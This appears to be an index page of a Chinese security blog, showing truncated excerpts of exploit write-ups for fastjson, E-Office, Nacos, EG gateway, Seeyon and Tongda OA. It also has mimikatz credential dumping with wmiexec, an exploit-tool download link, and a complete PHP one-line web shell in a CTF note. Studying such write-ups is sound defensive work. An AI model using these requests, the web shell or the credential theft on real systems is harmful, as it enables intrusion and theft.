1. 核⼼原理 1.1 漏洞⼊⼝：fastjson 的 @type 处理 fastjson 解析 JSON 时，如果遇到 {"@type":"类名"} ，会尝试加载这个类并把 JSON 字段映射到类的属性。这个机制叫 autoType。 fastjson...

一、环境启动 npx create-next-app@15.0.0 my-next-app npm run dev -- -H 0.0.0.0 启动完之后访问 IP:3000 端口 POST / HTTP...

打了一场护网遇到了好几个这样的环境，在这里记录一下绕过过程。【如下的为本地伪造环境】 目标系统E-Office v9   存在任意文件上传漏洞 首先需要绕过的是php的文...

用户列表size代表用户数量 GET /nacos/v1/auth/users?pageNo=1&pageSize=100 HTTP/1.1 Host: x.x.x.x User-Agent: Nacos-Server Connection: close ...

https://www.o2oxy.cn/wp-content/uploads/2021/01/Java利用工具.zip

https://github.com/Tas9er/EgGateWayGetShell 使用jd-gui 解开 整理出POC 如下： POST /guest_auth/guestIsUp.php HTTP/1.1 Host: 192.168.10.1 Connection: ...

老版本 POST /seeyon/pdfservlet HTTP/1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9) Gecko/20080705 Firefox/3.0 Kapiko/3.0 Accept: text/html,application...

首先通过mimikatz 抓取明文密码 mimikatz  1.通过wmiexec https://github.com/maaaaz/impacket-examples-windows python  -m pip&nb...

POST /general/appbuilder/web/officeproduct/productapply/applyprobygroup HTTP/1.1 Host: 10.211.55.5 Content-Length: 39 Accept: */* DNT: 1 X-Requested-With: XMLHttpRequest ...

<script language="php">@eval_r($_POST[sb])</script> 唔，学习了一波。 这道题目的去掉了, 不能用if(exp1,exp2,exp3)的方式。 然后我就恶补了一下 case when the...